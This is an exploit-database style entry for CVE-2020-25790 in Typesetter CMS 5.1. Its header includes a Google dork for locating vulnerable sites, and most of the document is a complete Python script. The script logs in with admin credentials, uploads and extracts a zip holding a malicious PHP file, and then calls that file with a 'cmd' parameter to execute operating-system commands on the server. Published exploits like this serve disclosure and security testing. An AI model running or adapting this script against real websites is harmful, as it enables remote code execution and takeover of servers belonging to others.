# Exploit Title: Typesetter CMS 5.1 - Arbitrary Code Execution
# Exploit Author: Rodolfo "t0gu" Tavares
# Contact: @t0guu (TW)
# Software Homepage: https://www.typesettercms.com/
# Version : 5.1
# Tested on: Linux / Apache
# Category: WebApp
# Google Dork: intext:"Powered by Typesetter"
# Date: 2020-09-29
# CVE : CVE-2020-25790
######## Description ########
#
# The CMS Typesetter has functionality (web interface) where it is possible
# through an account with privileges to perform uploads. Through this
# functionality, it is possible to upload a .zip file that contains a
# malicious .php file. In the same functionality, there is also the
# possibility to extract the file through the same web interface, the
# attacker only needs to extract the .zip that was previously loaded and
# click on the malicious .php file to execute commands in the operating
# system.
#
######## Exploit with Poc ########
https://github.com/t0gu/CVE-2020-25790
####### Code #######
# see the poc at https://github.com/t0gu/CVE-2020-25790
import argparse
from bs4 import BeautifulSoup
import requests
import sys
import re
import urllib3
from urllib3.exceptions import InsecureRequestWarning
banner = """
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗███████╗ █████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔═████╗ ╚════██╗██╔════╝╚════██║██╔══██╗██╔═████╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝██║██╔██║█████╗ █████╔╝███████╗ ██╔╝╚██████║██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ████╔╝██║╚════╝██╔═══╝ ╚════██║ ██╔╝ ╚═══██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ███████╗███████║ ██║ █████╔╝╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚════╝ ╚═════╝
by: t0gu
usage: main.py [-h] -p PASSWORD -l LOGIN -u URL
==> Exploit for CVE 2020-25790
optional arguments:
-h, --help show this help message and exit
-p PASSWORD, --password PASSWORD
==> admin password
-l LOGIN, --login LOGIN
==> admin login
-u URL, --url URL ==> main URL
"""
print(banner)
menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790")
menu.add_argument("-p", "--password", required=True, help="==> admin password")
menu.add_argument("-l", "--login", required=True, help="==> admin login")
menu.add_argument("-u", "--url", required=True, help="==> main URL")
menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside")
args = menu.parse_args()
login = args.login
password = args.password
url = args.url
file = args.file
PROXIES = proxies = {
"http": "http://127.0.0.1:8080",
"https": "https://127.0.0.1:8080",
}
class Exploit:
def __init__(self, login, password, url, file):
self.login = login
self.password = password
self.url = url
self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari"
self.file = open(file, 'rb')
def get_nounce(self):
try:
url = self.url + "/Admin"
r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False)
data = r.text
soap_obj = BeautifulSoup(data, 'html.parser')
for inp in soap_obj.find_all("input"):
for v in inp:
nounce = v['value']
if nounce != None or nounce != "":
return nounce
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_hash_folders(self):
cookie_auth = self.get_cookies()
hash_verified = self.get_verified()
data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1}
try:
url = self.url + "/Admin_Finder"
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False)
json_data = r.json()
hash_dir = json_data['files'][2]['hash']
return hash_dir
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_cookies(self):
nounce = self.get_nounce()
if nounce:
try:
url = self.url + "/Admin"
data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '',
'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '',
'remember': 'on', 'verified': ''}
r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False,
headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'})
cookie_admin = r.headers['Set-Cookie']
cookie_name = cookie_admin.split(':')[0].split('=')[0]
cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0]
if cookie_name == None or cookie_name == "":
if cookie_value == None or cookie_value == "":
print("==> Something went wrong while login")
else:
data = f"{cookie_name}={cookie_value};"
return data
except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e:
print(f'==> Error while login {e}')
def upload_zip(self):
url = self.url + '/Admin_Finder'
hash_verified = self.get_verified()
hash_dir = self.get_hash_folders()
auth_cookie = self.get_cookies()
try:
print(f"==> Uploading file: {self.file}")
data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified}
r = requests.post(url=url, verify=False, timeout=10,
headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file})
hash_file = r.json()['added'][0]['hash']
self.extract_file(auth_cookie, hash_file, hash_verified)
except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e:
print(f"==> Error while uploading {e}")
def extract_file(self, auth_cookie, hash_file, hash_verified):
data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file}
try:
url = self.url + "/Admin_Finder"
r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
name_file = r.json()['added'][0]['name']
print(f"==> All Hashes are collected from: {name_file}")
self.xpl(auth_cookie,name_file)
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def xpl(self, auth_cookie, name_file):
try:
url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id"
new_url = url.replace("index.php", "")
print(f"==> Try to exploit: {new_url}")
r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
pattern = r'<pre>(.*?)</pre>'
m = re.search(pattern, r.text.replace("\n", ""))
if m is not None and m != "":
print(f"==> Vulnerable: {m.group(1)}")
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
def get_verified(self):
try:
url = self.url + "/Admin/Uploaded"
auth_cookie = self.get_cookies()
r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False)
data = r.text
pattern_regex = r'"verified":"(.*)"}'
m = re.search(pattern_regex, data)
if m is not None or m != "":
return m.group(1)
except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e:
print(f'==> Error {e}')
if __name__ == "__main__":
obj = Exploit(login, password, url, file)
obj.upload_zip()
